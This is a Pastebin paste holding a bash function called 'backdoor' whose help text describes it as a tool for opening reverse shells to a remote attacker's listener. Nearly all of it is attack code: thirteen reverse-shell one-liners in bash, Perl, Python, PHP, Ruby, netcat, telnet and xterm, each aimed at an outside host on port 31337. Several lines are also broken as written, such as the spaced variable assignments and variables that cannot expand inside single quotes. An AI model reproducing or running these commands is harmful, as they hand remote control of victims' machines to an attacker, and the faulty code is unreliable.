Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ####### Begin backdoors #######
- backdoor() {
- PORT = 31337
- ADDR = "listener.remoteserver.com"
- if [ "$1" != "" ]; then
- if [ "$PORT" != "" ]; then
- if [ "$ADDR" != "" ]; then
- if [ "$1" == "--help" ]; then
- echo "Usage: ufile [OPTIONS] COMMAND [ARGS]..."
- echo ""
- echo "This is a command line utility to aid in opening revers shells"
- echo "to a remote attackers listener server."
- echo ""
- echo ""
- echo "Options:"
- echo "--help Show this message and exit."
- echo ""
- echo "Commands:"
- echo "1 Attempts a Bash reverse TCP shell"
- echo "2 Attempts a Bash reverse shell"
- echo "3 Attempts a Bash reverse shell"
- echo "4 Attempts a PEARL reverse shell"
- echo "5 Attempts a Python reverse shell"
- echo "6 Attempts a PHP reverse shell"
- echo "7 Attempts a RUBY reverse shell"
- echo "8 Attempts a NETCAT reverse shell"
- echo "9 Attempts a NETCAT reverse shell and attempts tp bypass -e restiction."
- echo "10 Attempts a TELNET reverse shell"
- echo "11 Attempts a TELNET reverse shell"
- echo "12 Attempts a XTERM reverse shell"
- echo "13 Attempts a BASH reverse shell"
- elif [ "$1" == "1" ]; then
- bash -i >& /dev/tcp/$ADDR/$PORT 0>&1
- elif [ "$1" == "2" ]; then
- exec 5<>/dev/tcp/$ADDR/$PORT
- elif [ "$1" == "3" ]; then
- 0<&196;exec 196<>/dev/tcp/$ADDR/$PORT; sh <&196 >&196 2>&196
- elif [ "$1" == "4" ]; then
- perl -e 'use Socket;$i="$ADDR";$p=$PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- elif [ "$1" == "5" ]; then
- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$ADDR",$PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- elif [ "$1" == "6" ]; then
- php -r '$sock=fsockopen("$ADDR",$PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
- elif [ "$1" == "7" ]; then
- ruby -rsocket -e'f=TCPSocket.open("$ADDR",$PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
- elif [ "$1" == "8" ]; then
- nc -e /bin/sh $ADDR $PORT
- elif [ "$1" == "9" ]; then
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ADDR $PORT >/tmp/f
- elif [ "$1" == "10" ]; then
- rm -f /tmp/p; mknod /tmp/p p && telnet $ADDR $PORT 0/tmp/p
- elif [ "$1" == "11" ]; then
- telnet $ADDR $PORT | /bin/bash | telnet $ADDR $PORT
- elif [ "$1" == "12" ]; then
- xterm -display $ADDR:$PORT
- elif [ "$1" == "13" ]; then
- bash -i >& /dev/tcp/$ADDR/$PORT 0>&1
- else
- echo "Invalid Argument. For more information use backdoor --help"
- fi
- else
- Echo "No Listener address was set. set the ADDR variable."
- fi
- else
- echo "No port was set. please set the port address."
- fi
- else
- fi
- }
- ####### End backdoors function #######
Advertisement
Add Comment
Please, Sign In to add comment